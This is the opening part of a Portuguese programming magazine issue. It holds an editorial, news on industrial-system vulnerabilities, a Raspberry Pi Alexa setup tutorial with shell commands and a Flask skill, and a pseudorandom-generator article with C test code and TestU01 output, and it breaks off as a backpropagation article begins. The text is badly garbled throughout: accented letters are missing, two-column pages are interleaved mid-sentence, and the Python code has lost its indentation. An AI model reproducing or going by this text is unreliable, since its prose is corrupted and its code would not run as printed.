Sunteți pe pagina 1din 64

EDITORIAL

EQUIPA PROGRAMAR

The Geeks Will Inherit The Earth

Coordenador Apesar de possivelmente controverso o ttulo deste editorial, no para


Antnio Pedro Cunha Santos controvrsias o meu objectivo, na sua escrita.
A verdade que possivelmente muitos dos leitores, se identificam como
geeks! Como pessoas curiosas, dedicadas, vidas de conhecimento, dispostas a
Editor
Antnio Pedro Cunha Santos caminhar as outras milhas, mesmo na adversidade! Pessoas extraordinrias!
Com este Vero j em curso, quente, at por vezes demasiado quente, sonolento e
complexo, entre o calor, a praia, montes de festivais, livros e notcias que do
Capa vontade de no as ver, muitas vezes me lembro da msica, que serve de ttulo a
Filipa Peres esta edio! Os geeks herdaro a terra!
No passado ms de Junho, tive a oportunidade de ver como um conjunto de
Redaco geeks (developers, makers, arquitectos, engenheiros, gente das mais diversas
Alex Lattaro reas), comeou a organizar-se numa rede social, para usar os seus conhecimentos
Augusto Manzano e talentos, para fazer tentar fazer a diferena que ns geeks podemos fazer, para
Andr Melancia mudar o mundo fazendo-o um pouco melhor!
Antnio Pedro Cunha Santos
Nuno Cancelo Esta edio, gostava de a dedicar a todos os que fazem diferena, no
Nuno Silva ficando a ver o tempo passar, mas se inquietam todos os dias, para fazer a
Pedro Tavares diferena nas mais diversas reas , nos mais diversos sectores, nas mais diversas
Rita Peres situaes! Aqueles que independentemente de tudo, decidem estar inquietos e fazer
algo!
Staff
Antnio Pedro Cunha Santos A todos esses, dedico-vos a revista e deixo-vos o muito obrigado por serem
Rita Peres inquietos! Pois como tive oportunidade de ler, Muda uma vida, muda o Mundo,
Tiago Sousa obrigado por mudarem o Mundo!

Contacto
revistaprogramar@portugal-a- At prxima edio, boas leituras!
programar.org
Antnio Santos
Website
http://www.revista-programar.info

ISSN
1 647-071 0

A revista PROGRAMAR um projecto voluntrio sem fins lucrativos. Todos os artigos so da responsabilidade dos autores, no
podendo a revista ou a comunidade ser responsvel por alguma impreciso ou erro.
Para qualquer dvida ou esclarecimento poder sempre contactar-nos.

2
NDICE
TEMA DE CAPA
6 Raspberry Pi Alexa - Antnio Santos

A PROGRAMAR

13 Pseudorandom Number Generators (PRNGs) - Pedro Tavares


16 Algoritmo BackPropagation - Rita Peres

ELECTRNICA
21 UP-CICLAR a velinha apareglhagem HI-FI - Antnio Santos

ANLISES DE ELECTRNICA
24 SONOFF RF- Antnio Santos

COLUNAS
27 De DataTable para ficheiro CSV (mais comum do que seria agradvel) - Antnio Santos
29 Kernel Panic - A Arte da Guerra e a tecnologia - Antnio Santos
35 SQL Curtas - Cursores: O Bom, o Mau e o SQL... Andr Melancia

ANLISES
40 Anlise do Livro: Desenvolvimento em Swift para iOS - Nuno Cancelo
41 Anlise do Livro: Bases de Dados e Geolocalizao - Rita Peres

SEGURANA
44 Como criar um programa auto-replicativo em assembly, para GNU/Linux - Antnio Santos

NO CODE
52 Windows 10: Ferramentas de Segurana - Nuno Silva

55 MODELOS DE AVALIAO DE INTERFACE - Augusto Manzano


60 Redes neurais artificiais: o que so? Onde vivem? Do que se alimentam? - Alex Lattaro
62 Mini Maker Faire Castelo Branco - Rita Peres

EVENTOS

Para mais informaes/eventos: http://bit.ly/PAP_Eventos. Divulga os teus eventos para o email eventos@portugal-a-
programar.pt

3
NOTCIAS
Robs e Parques Elicos vulnerveis Jovens
O de Castelo Branco
a ciberataques constroem robs inteligentes
Investigadores de Cibersegurana expuseram novas
Teve lugar no Laboratrio de Robtica e Equipamentos
vulnerabilidades passveis de explorao por ransomware.
Inteligentes do Instituto Politcnico de Castelo Branco
Desde robs com que trabalhamos lado a lado at turbinas de (IPCB), a 13 edio consecutiva do estgio Construir
parques elicos esto sob risco de possveis ataques. Segun- Robs Inteligentes. Este evento contou com o apoio da
do a notcia avanada pelo Fiancial Times, na conferncia de Cincia Viva.
cibersegurana Black Hat, foram reveladas falhas recentes
que demonstram a possibilidade de usar a fraca segurana Este ano participaram doze alunos do 10 ao 12 ano de
dos sistemas de controlo industriais. Escolas Secundrias de Lisboa, Setbal, Pombal, Porto,
Sabugal, Fundo e Castelo Branco .
Estes investigadores expuseram estas falhas para que as
empresas as pudessem solucionar. Eles alertam para o facto De acordo com a notcia avanada pelo Dirio Digital Cas-
de software malicioso ou ransomware poder afetar grave- telo Branco, este estgio pretendeu introduzir a robtica
mente as empresas. aos alunos, abordando diversos conceitos desde a mecni-
ca, eletrnica e programao, necessrios construo e
Foram descobertas tambm graves falhas em parques eli- desenvolvimento de robs. Os alunos puderam construir
cos , como por exemplo a falta de encriptao de mensagens, robs inteligentes, capazes de se moverem autonomamen-
a utilizao de passwords default e a no separao de redes, te e de serem comandados via remota atravs do telem-
vel.
de forma a que, uma vez que algum com ms intenes
entrasse no sistema, poderia controlar at todo um parque.
Iniciaram a semana com a parte de componente mecnica
Recentemente pudemos testemunhar as notcias dos estra- e eletrnica sob o acompanhamento do Professor Paulo
gos e transtornos causados pelo famoso Wannacry. Mas a Gonalves e pelos investigadores Bernardo Loureno, Jo-
vulnerabilidade na segurana pode ter outras repercusses. o Mendes, Megann Doudy, Paulo Amaral e Rodrigo Ber-
nardo. Seguidamente passaram construo da platafor-
Ao invs de ser exigido o pagamento de um resgate, pode ma robtica, respetivos testes e programao, tendo utili-
acontecer que ao explorar essas vulnerabilidades, a prpria zado o Arduino. Isto constituiu uma nova experincia, bem
como a programao do smartphone Android para funcio-
produo de um produto seja afetada, danificando no so- nar como comando remoto do rob construdo.
mente a produo e o aspeto financeiro da empresa em ques-
to mas tambm a sua reputao. Segundo apresentado no DDCB, os alunos avaliaram esta
iniciativa como sendo um sucesso: Convvio, construo
do rob e o trabalho em equipa na realizao das ativida-
des; Gostei de montar e de programar os robots e de
conhecer novos amigos!; A Programao em Arduino, e
os efeitos dos cdigos no movimento do rob; Alguma
dificuldade na ligao de fios; Apenas uma semana de
estgio pouco. Construir robs requer muito trabalho,
esprito de equipa, perseverana e mtodo.

Fontes: Dirio Digital Castelo Branco, Cincia Viva

Imagem: DDCB

4
TEMA DE CAPA
Raspberry Pi Alexa
TEMA DA CAPA
Raspberry Pi Alexa

A distribuio do Raspbian pode ser encontrada em:


Introduo https://www.raspberrypi.org/downloads/raspbian/ .

Existem diversos servios de assistente pessoal Uma vez descarregada a imagem, o processo de
inteligente, no entanto um dos populares em IoT a Alexa instalao diferente conforme o sistema operativo que
da Amazon, que vem por default do dispositivo Amazon esteja a ser utilizado no computador. Neste caso, ser
Echo Dot. utilizado o Windows 8.1, pelo que ser necessrio
descarregar a aplicao Win32DiskImager, que pode ser
A Alexa, denominada com base na antiga biblioteca encontrada em https://sourceforge.net/projects/
de Alexandria, a assistente pessoal inteligente win32diskimager/. Uma vez descarregada os passos so
desenvolvida pela Amazon, que permite que se comunique simples!
por voz com um dispositivo, se lhe dem comandos e o
dispositivo execute ou controle equipamentos, reproduza Executar a aplicao Win32DiskImager;
msica, efectue pesquisas, etc Este artigo surge aps o
desafio colocado pelo Bruno Horta, no grupo Movimento Inserir o carto SD/micro-sd na slot;
Maker Portugal e que eu tive o prazer de aceitar e concluir
Na aplicao escolher a letra da unidade onde o
dentro do prazo previsto!
carto est;
Por detrs deste servio existe um sistema de
processamento de linguagem natural, desenvolvido pela Escolher o ficheiro da imagem;
Amazon, que permite que a voz humana seja compreendida, Clicar Write e aguardar que complete;
premitindo a execuo das instrues dadas pelo utilizador.
Remover o carto com segurana.
Uma vez que em Portugal o dispositivo Amazon
Echo, ainda no se encontra disponvel e existe uma API
que permite utilizar o servio de assistente pessoal
inteligente da Amazon. Ao longo do artigo ser demonstrado
como instalar o software e comear a utilizar este servio
num Raspberry Pi. No caso concreto, uma vez que foi
utillizado um headset usb que no dispe de boto para
activar o microphone, a Alexa estar sempre em modo de
escuta.
No existem muitos dispositivos disponveis
compatveis com a Alexa, no entanto no complicado
tornar um dispositivo compatvel, recorrendo a uma API
Uma vez preparado o carto de memria, para ser
disponibilizada pela Amazon e s diversas bibliotecas
usado no raspberry pi, o passo seguinte ser ligar o
disponiveis online. Os comandos da Alexa, so chamados
raspberry pi, com o carto l colocado e seguir os seguintes
de Skils (capacidades), podendo ser desenvolvidos
passos para terminar as configuraes bsicas necessrias.
recorrendo API e so de forma muito resumida, aplicaes,
Neste caso concreto, foi utilizada a ligao ethernet, para
que implementam determinada funcionalidade. J existem
ligar o raspberry rede. Para configurar o raspbian seguem-
diversas disponveis, prontas a utilizar e equipamentos
se os seguintes passos:
compatveis com a Alexa. Para teste, foram usados alguns
da itead.cc . Efectua-se o login no sistema, com o user e password
Uma das limitaes da Alexa, prende-se com o facto por defeito (login: pi , password: raspberry);
de apenas conseguir receber e executar um comando de
Uma vez na bash, digita-se sudo raspi-config para
cada vez, isto claro alm de terem de ser todos em ingls.
abrir a aplicao que permite efectuar as
Seria interessante em futuras verses ver o servio a
configuraes necessrias.
executar mais do que um comando, algo tipo Alexa, turn on
living room and enterance hall lights.
Instalao
O primeiro passo instalar a distribuio Raspbian,
ou outra baseada em Debian, no raspberry pi. Para tal, basta
gravar a imagem num carto de memria SD / micro-sd, que
ir ser utilizado no raspberry pi.

6
TEMA DA CAPA
RASPBERRY PI ALEXA
Tal como pode ser visto na figura anterior ser Feitos estes procedimentos, hora de reiniciar o raspberry,
apresentada a aplicao com as opes numeradas, que recorrendo ao comando seguinte:
permitem efectuar uma srie de configuraes base
$ sudo shutdown r now
necessrias. Apenas nos focaremos nas configuraes base
necessrias, uma vez que as restantes saem do mbito
Uma vez reiniciado o sistema, podemos finalmente
deste artigo.
avanar para a instalao do AlexaPi, que nos permitir usar o
No menu, escolhemos a primeira opo Expand servio Alexa da Amazon.
FileSystem e confirmamos a aco. Ser Mas antes disso, falta-nos apenas um pormenor.
apresentada uma mensagem a indicar que esta necessrio registar o dispositivo na amazon, para que
aco apenas ter efeito aps o reincio do sistema, possamos usar o Alexa Voice Service. Caso j tenhamos uma
no entanto podemos prosseguir. conta developer na amazon, podemos avanar alguns passos,
caso contrrio o passo seguinte ser mesmo o de registar-se
Pelas bvias razes de segurana, o passo seguinte
na amazon em https://goo.gl/FHmvHf . O processo de registo
ser alterar a password do utilizador pi. Para tal
simples e intuitivo, pelo que no ser detalhado neste artigo.
seleccionamos a segunda opo Change user
password e alteramos a password. Seguindo para o registo do dispositivo, uma vez feito o
login em https://developer.amazon.com, selecionamos a opo
Uma vez que estaremos a utilizar um teclado ALEXA no menu, e de seguida Alexa Voice Service. De
portugus o passo seguinte ser recorrer opo 4 seguida, escolhemos a opo Register a Product Type e
Internacionalization Options e ser alterado o posteriormentemente Device. Neste momento ser visvel a
keyboard layout, para portugus. Device Type Info, na tab esquerda.

Tal como visivel na imagem exemplo, tm de ser


preenchidos os campos Device Type ID e Display Name.
Convm usar algum nome que seja simples de associar ao
Por fim, vamos s opes avanadas (Advanced que realmente , mas isso no de todo difcil. Agora passa-
se ao item seguinte, o Security Profile. Neste item, clica-se
Options), para activar a opo de ligao por SSL,
em Create a new profile, de seguida escolhe-se um Security
uma vez que no ser muito prtico ter de andar
Profile Name e Security Profile Description e clica-se no
sempre a ligar e desligar teclados, para o que
boto next para dar continuidade.
possamos precisar. Dentro das opes avanadas,
seleccionamos ssh e de seguida enable.

7
TEMA DA CAPA
RASPBERRY PI ALEXA
Na tab web settings clicamos em edit, para alterar Agora vamos clonar o repositrio git do projecto AlexaPi,
o conteudo e em Allowed Origins escrevemos http:// para podermos prosseguir com a instalao.
localhost:5050 e http://10.0.0.100:5050, onde o endereo
ip, deve ser substitudo pelo ip local do nosso raspberry pi. $ sudo git clone https://github.com/alexa-pi/
De igual forma em Allowed return URLs preenchemos com AlexaPi.git
http://localhost:5050/code e http://10.0.0.100, trocando
E executamos o script de instalao do Alexa pi:
novamente o endereo ip pelo do raspberry pi. So
necessrios preencher mais alguns dados, mas nada de $ sudo ./AlexaPi/src/scripts/setup.sh
complicado, conforme se pode observar nas figuras
seguintes. Terminada a instalao e antes de se avanar para o
arranque do AlexaPi, uma vez que no caso deste artigo foi
usado um headset usb, tal como j foi referido, temos de
efectuar algumas configuraes adicionais, caso contrrio o
rasbpian ir utilizar os dispositivos audio padro do raspberry
pi. Para tal comeamos por desabilitar o PA.

$ sudo mkdir -p /var/lib/AlexaPi/.config/pulse


$ sudo cp /etc/pulse/client.conf /var/lib/
AlexaPi/.config/pulse/
De seguida, temos de editar o ficheiro client.conf que se
encontra em /var/lib/AlexaPi/.config/pulse/, e definir o valor
autospawn para no. Para tal recorremos a um editor de
texto. Neste caso ser usado o nano, mas pode ser usado o
que o leitor preferir.

$ sudo nano /var/lib/AlexaPi/.config/pulse/


client.conf

Dentro do ficheiro colocamos o seguinte:

autospawn = no

Feito isto, proseguimos para as configuraes com o


objectivo de executar o PA (Pulse Audio) em modo de todo
os sistema (System-wide mode), uma vez que esta a forma
mais segura de utilizar o PA com o AlexaPi. Para tal
comeamos por executar os seguintes comandos:

$ sudo apt install pulseaudio pavucontrol


$ sudo apt remove pavumeter paman padevchooser

$ sudo mkdir -p /var/lib/AlexaPi/.config/pulse


$ sudo cp /etc/pulse/client.conf /var/lib/
AlexaPi/.config/pulse/
Terminada a parte de configuraes na Amazon, hora
de inslatar o AlexaPi, no raspberry! Para tal, acedemos por
Voltamos a editar o ficheiro client.conf que se encontra em /
ssh, utilizando um software cliente de ssh a gosto, no meu
var/lib/AlexaPi/.config/pulse/ e a definir o autospawn=no.
caso o putty, e uma vez feito o login, comeamos!
Agora temos de dar permisses de escrita ao ficheiro de log
A primeira coisa a fazer, ser mesmo instalar o git no
do alexa pi, com o seguinte comando:
raspbian. Para tal recorremos ao seguinte comando na bash:
$ sudo chown -R alexapi:alexapi /var/lib/AlexaPi/
$ sudo apt-get install git $ sudo usermod --home /var/lib/AlexaPi alexapi

Com o git instalado, podemos partir para a fase seguinte.


De seguida adicionamos o utilizador que vamos usar
Primeiramente deslocamos o cursor para a pasta /opt no raspberry, ou por defeito o utilizador pi e o utilizador
com o seguinte comando: alexapi ao grupo de utilizadores pulse-access e o utilizador

$ cd /opt

8
TEMA DA CAPA
RASPBERRY PI ALEXA
pulse ao grupo de utilizadores audio, recorrendo aos que ela responder com a informao meteorolgica actual e
seguintes comandos: previso para o dia seguinte, para Lisboa.

$ sudo adduser pulse audio No entanto o nosso objectivo ser mais do que utilizar
$ sudo adduser pi pulse-access aquilo que j est implementado, portanto, para o fazermos
$ sudo adduser alexapi pulse-access vamos usar um outro raspberry ligado mesma rede, mas
$ sudo adduser root pulse-access
que ser programado, para acender e apagar um led.
Agora temos de criar um servio systemd para
Como j foi explicado como instalar o Raspbian num
permitir que o PulseAudio se inicie com o boot, em modo de
Raspberry Pi, no vou repetir essa parte, sendo que o
system (system wide mode). Para tal usando um editor de
utilizador deve seguir os passos do primeiro exemplo, com a
texto cria-se o ficheiro em /etc/systemd/pulseaudio.service .
excepo de instalar o AlexaPi.
$ sudo touch /etc/systemd/system/ O led que ser aceso e apagado, liga-se o catodo
pulseaudio.service
(perna mais curta) do led ao pin 3 (GND) do Raspberry Pi,
em srie com uma resistncia de 330ohm, e o anodo do led,
E de seguida editar o ficheiro com um editor de texto.
ao pin 21 (GPIO), do Raspberry Pi, conforme o diagrama
$ sudo nano/etc/systemd/system/pulseaudio.service abaixo.

E colocar-lhe o seguinte contedo:

[Unit]
Description=PulseAudio Daemon

[Install]
WantedBy=multi-user.target

[Service]
Type=simple
PrivateTmp=true
ExecStart=/usr/bin/pulseaudio --system --realtime
--disallow-exit --no-cpu-limit

Agora ser necessrio activar o servio para que ele


arranque de forma automtica:
$ sudo systemctl enable pulseaudio.service
Feito isto, chegou a hora de instalar, configurar e
E por fim configuramos o conofig.yaml, para o AlexaPi usar
escrever o cdigo que suportar esta action! Para tal
PulseAudio.
comeamos por instalar o Python2.7 e o flask recorrendo aos
sudo nano /etc/opt/AlexaPi/config.yaml seguintes comandos.

E na seco de som, do ficheiro colocar as seguintes linhas: $ sudo apt-get update && sudo apt-get upgrade -y
$ sudo apt-get install python2.7-dev python-dev
python-pip
input_device: "pulse" $ sudo pip install Flask flask-ask
output: "pulse"
output_device: "" Agora instalamos o ngrok para arm, que se encontra
disponvel em https://ngrok.com/download recorrendo ao
Terminado tudo isto, ser necessrio reiniciar o raspberry de wget.
novo, para que tudo seja assumido. Uma vez reiniciado
$ wget https://bin.equinox.io/c/4VmDzA7iaHb/ngrok
faltam apenas dois comandos para se poder comear a
-stable-linux-arm.zip
utilizar a Alexa! Os comandos so:
$ unzip /home/pi/ngrok-stable-linux-arm.zip
$ sudo systemctl start AlexaPi.service
$ sudo systemctl status AlexaPi.service Uma vez instalado hora de o executar.

Neste momento bastar dizer Alexa ao micro para poder- $ sudo ./ngrok http 5000
mos ouvir Yes?, indicando que o servio est a funcionar e
Com estas tarefas prontas, vamos ao cdigo que nos
aguarda comandos nossos.
permitir implementar a skill que ir interagir com a Alexa.
Alguns exemplos do que possivel fazer, tendo em
Para tal iremos criar um ficherio chamado gpio_alexa.py que
conta que nem todos os servios esto disponveis em
ser executado posteriormente e mantido em execuo.
Portugal, ser perguntar como est o tempo numa qualquer
Para isto vamos precisar de usar terminais separados, pelo
cidade! Por exemplo Alexa hows the weather in Lisbon ao
que convm ter este pormenor em ateno.

9
TEMA DA CAPA
RASPBERRY PI ALEXA
O cdigo do programa ser o seguinte:

from flask import Flask


from flask_ask import Ask, statement,
convert_errors
import RPi.GPIO as GPIO
import logging

GPIO.setmode(GPIO.BCM)

app = Flask(__name__)
ask = Ask(app, '/')

logging.getLogger("flask_ask").setLevel
(logging.DEBUG)

@ask.intent('GPIOControlIntent', mapping=
{'status': 'status'})
def gpio_status(status):

if status in ['on','high' ]:
GPIO.setup(21, GPIO.IN)
state = GPIO.input(21)
if (state == True):
GPIO.setup(21, GPIO.OUT) necessrio preencher a grande maioria dos
GPIO.output(21,GPIO.HIGH)
return statement('Lights are already on') campos, mas como so intuitivos, vamos apenas focar os
else: mais importantes. Em Skill Name, escrevemos RPI
GPIO.setup(21, GPIO.OUT) Control e em Invocation name escrevemos raspberry pi.
GPIO.output(21,GPIO.HIGH) Em Interaction Model colocamos o cdigo referente ao
return statement('Turning lights {}'.format
(status)) esquema pretendido intent schema.

if status in ['off','low' ]: {
GPIO.setup(21, GPIO.IN) "intents": [
state = GPIO.input(21) {
print('status of light',state) "slots": [
if (state == False): {
GPIO.setup(21, GPIO.OUT) "name": "status",
GPIO.output(21,GPIO.LOW) "type": "GPIO_CONTROL"
return statement('Lights are already off') }
else: ],
GPIO.setup(21, GPIO.OUT) "intent": "GPIOControlIntent"
GPIO.output(21,GPIO.LOW) }
return statement('Turning lights {}'.format ]
(status)) }

if __name__ == '__main__': Em Add Slot Type dentro de Enter Type escrevemos


port = 5000 #a porta pode ser definida pelo GPIO_Control e em Enter Values escrevemos on e off
#programador e em uterrance, os seguintes valores:
app.run(host='0.0.0.0', port=port)
GPIOControlIntent to turn lights {status}
Escrito o cdigo e colocado a correr, temos de criar GPIOControlIntent to turn {status} the lights
uma capacidade (skill) para a Alexa. Para isto voltamos
consola da Amazon, selecionamos Alexa e depois Alexa
Skill Set, e por fim Add a new skill.

10
TEMA DA CAPA
RASPBERRY PI ALEXA
Agora em configurao seleccionamos HTTPS como Agora sim, podemos dizer ao micro do raspberry que
Endpoint do servio e escolhemmos a regio, no nosso caso tem o AlexaPi instalado Alexa, tell Raspberry Pi to turn light
Europe. on e veremos o led acender!

Por fim, na caixa destinada ao url, digitamos o url que Concluso


foi gerado quando executamos pela primeira vez o ficheiro
Apesar do equipamento Amazon Echo no estar
gpio_control.py. O endereo seve ser algo semelhante a:
ainda disponvel em Portugal, a utilizao do servio da
https://dd3F58A9.ngrok.io .
amazon no de todo impossvel, ainda que apenas fale e
entenda a lingua inglesa. Existem bastantes dispositivos
compatveis com Alexa, como por exemplo os WeMo, que
podem ser simulados usando um ESP8266, alm de
diversos dispositivos compatveis, disponibilizados por
diversos fabricantes, como o caso da Itead.
Poder ser engraado para o leitor aventurar-se a
ligar outros equipamentos utilizando o GPIO do raspberry Pi,
ou at quem sabe em lugar de utilizarem o raspberry para
instalar a Alexa, utilizar por exemplo um C.H.I.P. de
menores dimenses e maior eficincia energtica.
Ao longo deste artigo instalamos e configuramos o
AlexaPi e de seguida usamos um outro raspberry pi, para
criar um pequeno circuito e adicionar uma skill Alexa que
lhe permitiu acender e apagar um led. Muito mais pode ser
E para terminar esta parte, em SSL Certificate, escolhemos feito, mas isso fica ao critrio da imaginao do leitor!
My development endpoint is a sub-domain of a domain that
has a wildcard certificate from a certificate authority.
E agora testamos no simulador, e vmos o resultado no
raspberry.

Com tudo isto terminado, gravamos e podemos fechar o


Amazon developer.

AUTOR
Escrito por Antnio C. Santos

Programar criar um novo mundo escrevendo cdigo, cumprindo os mais elementares desgnios da
vida, aprender, ensinar, criar, partilhar, melhorar e seguir. Formou-se no Instituto Politcnico de Viana
do Castelo. Membro da Comunidade Portugal-a-Programar desde Agosto de 2007, tambm membro da
Sahana Software Foundation, onde Programador Voluntrio desde 2012, actualmente exerce funes
de mentor voluntrio na plataforma MOOC Coursera . Twitter:@apocsantos

11
A PROGRAMAR
Pseudorandom Number Generators (PRNGs)
A PROGRAMAR

Pseudorandom Number Generators (PRNGs)


java.util.Random gera um nmero aleatrio?

Pseudo-random Number Generators, ou simplesmen- Hoje em dia, existem muitos algoritmos para gerao
te PRNGs, so algoritmos para gerao de nmeros com de nmeros pseudo-aleatrios com distribuio uniforme,
propriedades semelhantes dos nmeros aleatrios como p.ex., LCG, ISAAC, Mersenne Twister, etc., todos defi-
(random numbers). Os PRNGs produzem sequncias de nidos por caractersticas prprias:
nmeros aparentemente independentes, normalmente se-
Perodo (comprimento do output);
guindo uma distribuio uniforme, com base numa expres-
so matemtica. So normalmente definidos pelos seguintes Independncia (todos os nmeros da sequncia de-
aspetos: o seu output determinstico, peridico e depende vem ser independentes uns dos outros);
de um valor de inicializao, conhecido como seed. Este tipo
de algoritmos (os PRNGs) so normalmente mais rpidos Distribuio uniforme (a probabilidade de sair o nme-
que a gerao de nmeros realmente aleatrios no /dev/ ro 2 igual probabilidade de sair o nmero 7);
random ou /dev/urandom (por exemplo, disponveis numa
distribuio Linux), uma vez que o SO usa o input de dados
Rapidez (na gerao);
de interfaces de hardware, p.ex., o rato, trfego de rede da Reprodutibilidade (capacidade de reproduzir a se-
NIC (Network Interface Controller), et cetera. quncia novamente com determinados parmetros
Um outro exemplo de um true random number gene- iniciais).
rator o random.org, onde so usados dados de rudo at-
mosfrico como input de aleatoriedade.
De notar que as propriedades acima citadas so difi-
cilmente conciliveis, pelo que a seleo de um gerador con-
PRNGs veniente para uma dada situao pode ser uma tarefa no
muito trivial.
PRNGs representam peas cruciais dentro do contex-
PRNGs so ento funes matemticas que debitam
to da simulao computacional, pois permitem criar situa-
uma sequncia finita de nmeros, isto , a dada altura a se-
es aleatrias pelas quais um evento do mundo real afe-
quncia de nmeros comea a repetir-se. Ao tamanho dessa
tado. Assim, uma falha em termos da qualidade de Random-
sequncia chamado perodo.
ness pode resultar numa reproduo deficiente do modelo
de simulao, levando possivelmente a concluses falsas ou java.util.Random tem um perodo e repete-se passadas algu-
deficientes. mas iteraes ...
Processamento sinnimo de tempo, e os PRNGs
LINEAR CONGRUENTIAL GENERATOR (LCG)
produzem resultados num espao temporal consideravel-
mente menor em relao a outro tipo de geradores de nme- O LCG o PRNG mais popular dentro deste contexto
ros e sequncias aleatrias. Um exemplo desse facto a e usado largamente para gerao de nmeros pseudo-
gerao de trfego de rede, onde a distribuio dos resulta- aleatrios com uma distribuio uniforme. Ele de fcil im-
dos deve ser controlada e seguindo uma distribuio expo- plementao, tem alta performance computacional e simples
nencial, e no deve ser morosa (i.e., o tempo de processa- de entender. bastante usado a nvel cientfico. O LCG
mento no pode ser muito elevado). um PRNG que gera sequncias de inteiros pseudo-aleatrias
com base na expresso matemtica
PRNGs so tambm usados em mquinas de jogos
online, jogos de vdeo e aplicaes de segurana informti-
ca. No campo de segurana da informao, os PRNGs so Xn = aXn-1 + b mod M
muitas vezes a fonte de chaves de criptografia, nonces,
hashs ou cifras. Nem todos os PRNGs podem ser usados em que a, b e M so nmeros inteiros com determinadas
em todas essas aplicaes, uma vez que nem todos cum- caractersticas. Como se pode concluir da definio, cada
prem com exatido algumas das regras que lhes permite nmero da sequncia Xn produzido a partir do seu ante-
serem a fonte para determinadas implementaes criptogr- cessor Xn-r . Alguns destes geradores usam um nmero pri-
ficas. Para criptografia so usados um tipo especfico de mo como M e b igual a 0. O nmero mximo que o perodo
PRNGs conhecidos por CSPRNGs (geradores de nmero que estes geradores podem atingir M e, para que isso
pseudo-aleatrio criptograficamente seguros), com proprie- acontea, a e b devem preencher requisitos adicionais. Por
dades que os tornam adequados para esse contexto. exemplo, de uma maneira geral, a-1 deve ser divisvel por
todos os primos que fatorizam M, e b deve ser coprimo com

13
A PROGRAMAR
PSEUDORANDOM NUMBER GENERATORS (PRNGS)
M. Se M for uma potncia de 2 (muito comum em implementa- comum encontrarem-se geradores com o tamanho
es prticas, j que operaes mdulo 232 ou 264 so simples do perodo igual a ou mltiplo do tamanho mximo de um
de implementar em mquinas de 32 ou 64 bits), ento a-1 deve registo inteiro no CPU, (e.g., 232 , que numericamente re-
ser divisvel por 4. presentado pelo valor 4294967296 -- 32 bits de 1s). A ttulo
de exemplo, possvel obter um LCG com um perodo de 2
A escolha dos valores que parametrizam o gerador
com a seguinte parametrizao:
crtica para manter uma qualidade mnima dos nmeros gera-
dos. Por exemplo, pode verificar-se a partir da seguinte iniciali-
zao que o gerador acima descrito (LCG) degenera num gera-
rseed=(rseed 1103515245+12345)&RAND MAX
dor fraco.
O java.util.Random um LCG que gera nmeros ale-
a=4 b=2 M=8
atrios de 248 bits atravs do UNIX rand48, usando apenas
Considere comear com X1 = 1. A sequncia gerada a os primeiros 32 bits como output til.
seguinte:
#include "unif01.h"
#include "bbattery.h"
= 4 1 + 2 mod 8 = 6;
#include <stdio.h>
#include <time.h>
= 4 6 + 2 mod 8 = 2; #include <stdlib.h>
#include <math.h>
#include "ulcg.h"
= 4 2 + 2 mod 8 = 2;
#define norm 2.328306549295728e-10
unsigned int rseed = 5;

double lcg(){
= 2; return (rseed=(rseed * 1103515245 + 12345) &
RAND_MAX)*norm;
A sequncia dada por: (1, 6, 2, 2, 2, ). Comeou a }
repetir o valor 2 logo a partir do terceiro valor. Para os parme-
int main (void) {
tros iniciais definidos anteriormente (incluindo o X1), o perodo unif01_Gen *gen;
desta sequncia 3. gen = unif01_CreateExternGen01 ("MyLCG",
lcg); /* My LCG */
Na verdade, difcil garantir excelente comportamento
para sequncias produzidas com um LCG, mas pelo menos bbattery_SmallCrush (gen);
possvel garantir que o perodo mximo (i.e., M) atingido. unif01_DeleteExternGen01 (gen);
Para garantir que o LCG tem um perodo M, podem ser defini- return 0;
das algumas regras cabea, nomeadamente: b e M tm de }
ser co-primos, e a-1 tem de ser divisvel por todos os factores
primos de M. O java.util.Random um LCG que gera nmeros ale-
atrios de bits atravs do UNIX rand48, usando apenas os
Ter um perodo completo significa que a sequncia co- primeiros 32 bits como output til.
mea a repetir-se apenas aps M, e antes que isso acontea, a
sequncia constituda por todos os valores possveis mdulo Teste Estatstico ao LCG
M. Para que isso acontea importante determinar a melhor
parametrizao. Existem baterias de teste preparadas para testar
exaustivamente PRNGs, nomeadamente a TestU01. O cdi-
Se forem considerados agora os seguintes parmetros go acima entregue j possui a implementao do LCG usado
de inicializao: no java nesta biblioteca de teste de PRNGs. O resultado da
qualidade do LCG a seguinte para a bateria de testes mais
a=4 b=3 M=16,as regras impostas acima so satisfeitas, i.e.: modesta, conhecida por SmallCrush:
M potncia de 2 (16= 24), a-1=4 e divisvel por 4, e 3 e 16 so ========= Summary results of SmallCrush
nmeros co-primos. =========
Neste caso, aplicando as regras definidas, consegue-se
que o mximo perodo para os parmetros de inicializao com Version TestU01 1.2.3
mdulo M=16 seja atingido. A sequncia produzida, comean- Generator: MyLCG
do por X1 = 10, seria: Number of statistics: 15
Total CPU time: 00:00:03.56
(10, 5, 12, 15, 14, 9, 0, 3, 2, 13, 4, 7, 6, 1, 8, 11, 10, ) The following tests gave p-values out-
Mas se um PRNG no infinito, qual o perodo mxi-
side [0.001, 0.9990]:
(eps means a value < 1.0e - 300):
mo do LCG? Isto , quantos nmeros diferentes so possveis
(eps1 means a value < 1.0e - 15):
gerar para uma sequncia com este algoritmo?

14
A PROGRAMAR

PSEUDORANDOM NUMBER GENERATORS (PRNGS)


De 15 testes efetuados, 12 falharam. Atingem-se resultados
Test p-value semelhantes para para outras baterias de testes, o que con-
----------------------------------------- firma a pouca qualidade para a gerao de nmeros aleat-
rios atravs deste PRNG.
1 BirthdaySpacings eps
2 Collision 5.8e-14 Previsvel? Java.util.random?
3 Gap eps
4 SimpPoker eps Sim, o java.util.Random usa o LCG para a gerao de
6 MaxOft eps nmeros pseudo aleatrios, da a previsibilidade nos valores
6 MaxOft AD 1 - eps1 gerados. Este gerador nunca pode ser usado em aplicaes
criptogrficas, seja de que forma for. No entanto, uma fun-
9 HammingIndep 1.1e-11
o rpida, excelente para pequenas experincias e gerao
10 RandomWalk1 H eps de valores em aplicaes de lazer (e.g., jogos).
10 RandomWalk1 M eps
10 RandomWalk1 J eps
10 RandomWalk1 R eps
10 RandomWalk1 C eps
-----------------------------------------
All other tests were passed

AUTOR
Escrito por Pedro Tavares

Pedro Tavares atualmente um profissional no ramo da segurana da informao. Desempenha funes como IT Security
Engineer, membro fundador e pentester no CSIRT.UBI e fundador do blog seguranca-informatica.pt.

15
A PROGRAMAR
Algoritmo BackPropagation

Nesta edio trazemos at vs caros leitores O desenvolvimento do algoritmo backpropagation


